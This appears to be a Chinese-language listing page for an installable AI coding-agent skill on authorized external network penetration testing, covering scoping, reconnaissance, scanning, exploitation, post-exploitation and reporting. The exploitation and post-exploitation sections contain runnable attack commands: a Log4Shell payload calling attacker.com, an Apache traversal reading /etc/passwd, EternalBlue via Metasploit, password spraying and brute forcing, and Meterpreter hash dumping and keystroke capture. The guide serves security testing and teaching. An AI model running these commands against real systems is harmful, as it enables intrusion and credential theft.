关于 performing-external-network-penetration-test
这是一份面向安全测试人员的外部网络渗透测试指南,按授权与范围界定、侦察、漏洞分析、利用、后渗透和报告组织测试流程,并列出常用工具。
主要功能
- 01制定测试授权与范围
- 02开展被动和主动侦察
- 03扫描并验证漏洞
- 04测试网络服务和 Web 应用
- 05执行后渗透检查
- 06按风险整理测试报告
适用场景
- 01评估组织的互联网暴露资产
- 02验证防火墙、VPN 和 Web 服务的安全控制
- 03进行计划内的安全审计
- 04按 CVSS 优先安排漏洞修复
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-external-network-penetration-test安装后在 Claude Code 中输入/performing-external-network-penetration-test确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
执行外部网络渗透测试
概述
外部网络渗透测试模拟真实世界中的攻击者,针对组织面向互联网的资产(如防火墙、Web 服务器、邮件服务器、DNS 服务器、VPN 网关和云端点)发起攻击。其目标是在恶意行为者之前识别可利用的漏洞,遵循 PTES(渗透测试执行标准)、OSSTMM 和 NIST SP 800-115 等框架。
何时使用
- 当进行涉及执行外部网络渗透测试的安全评估时
- 当针对相关安全事件遵循事件响应流程时
- 当执行计划内的安全测试或审计活动时
- 当通过实际操作测试验证安全控制措施时
前提条件
- 书面授权(由资产所有者签署的《交战规则》文档)
- 明确的范围:IP 段、域名、子域名和排除项
- 测试环境:Kali Linux 或 Parrot OS,工具已更新
- VPN/专用测试基础设施,以避免 IP 被封禁
- 与 SOC/NOC 协调时间窗口
阶段 1 — 前期准备与范围界定
定义交战规则
Scope:
- Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
- Domains: *.target.com, *.target.io
- Exclusions: 203.0.113.50 (production DB), *.staging.target.com
- Testing window: Mon-Fri 22:00-06:00 UTC
- Emergency contact: SOC Lead — +1-555-0100
- Authorization ID: PENTEST-2025-EXT-042
法律文档清单
| 文档 | 状态 | 负责人 |
|---|---|---|
| 主服务协议(MSA) | 已签署 | 法务 |
| 工作说明书(SOW) | 已签署 | 项目经理 |
| 交战规则(RoE) | 已签署 | CISO |
| 免责授权书 | 已签署 | CTO |
| 保密协议(NDA) | 已签署 | 法务 |
| 保险凭证 | 已验证 | 风控 |
阶段 2 — 侦察(信息收集)
被动侦察
# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results
# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
主动侦察
# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com
阶段 3 — 漏洞分析
自动化扫描
# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
# OpenVAS scan
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm
# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
手动漏洞验证
# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2
# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode
# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
阶段 4 — 漏洞利用
网络服务漏洞利用
# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e [email protected]
# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
Web 应用漏洞利用
# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav
# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch
# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg
密码攻击
# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
阶段 5 — 后渗透
# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start
阶段 6 — 报告
发现分类(CVSS v3.1)
| 严重程度 | CVSS 范围 | 数量 | 示例 |
|---|---|---|---|
| 严重 | 9.0-10.0 | 2 | 通过未修补的 Exchange 实现 RCE(ProxyShell) |
| 高 | 7.0-8.9 | 5 | 客户门户中的 SQL 注入 |
| 中 | 4.0-6.9 | 8 | 缺少安全响应头,TLS 1.0 |
| 低 | 0.1-3.9 | 12 | 通过服务器横幅信息泄露 |
| 信息 | 0.0 | 6 | 开放端口记录 |
报告结构
1. Executive Summary
- Scope and objectives
- Key findings summary
- Risk rating overview
- Strategic recommendations
2. Technical Findings
For each finding:
- Title and CVSS score
- Affected asset(s)
- Description and impact
- Steps to reproduce (with screenshots)
- Evidence/proof of exploitation
- Remediation recommendation
- References (CVE, CWE)
3. Methodology
- Tools used
- Testing timeline
- Frameworks followed (PTES, OWASP)
4. Appendices
- Full scan results
- Network diagrams
- Raw tool output
修复优先级矩阵
| 优先级 | 时间线 | 措施 |
|---|---|---|
| P1 — 严重 | 24-48 小时 | 修补 RCE 漏洞,禁用暴露的管理面板 |
| P2 — 高 | 1-2 周 | 修复注入缺陷,实施 MFA |
| P3 — 中 | 30 天 | 加固 TLS 配置,添加安全响应头 |
| P4 — 低 | 60-90 天 | 移除版本横幅,更新文档 |
工具参考
| 工具 | 用途 | 许可证 |
|---|---|---|
| Nmap | 端口扫描和服务枚举 | GPLv2 |
| Metasploit | 漏洞利用框架 | BSD |
| Burp Suite Pro | Web 应用测试 | 商业 |
| Nuclei | 漏洞扫描 | MIT |
| Subfinder | 子域名枚举 | MIT |
| SQLMap | SQL 注入测试 | GPLv2 |
| Nessus | 漏洞扫描器 | 商业 |
| Gobuster | 目录暴力破解 | Apache 2.0 |
| Hashcat | 密码破解 | MIT |
| theHarvester | OSINT 邮箱/域名收集 | GPLv2 |
参考资料
- PTES(渗透测试执行标准):http://www.pentest-standard.org/
- OWASP 测试指南 v4.2:https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115:信息安全测试技术指南:https://csrc.nist.gov/publications/detail/sp/800-115/final
- OSSTMM v3:https://www.isecom.org/OSSTMM.3.pdf
- MITRE ATT&CK:https://attack.mitre.org/
评论
支持 Markdown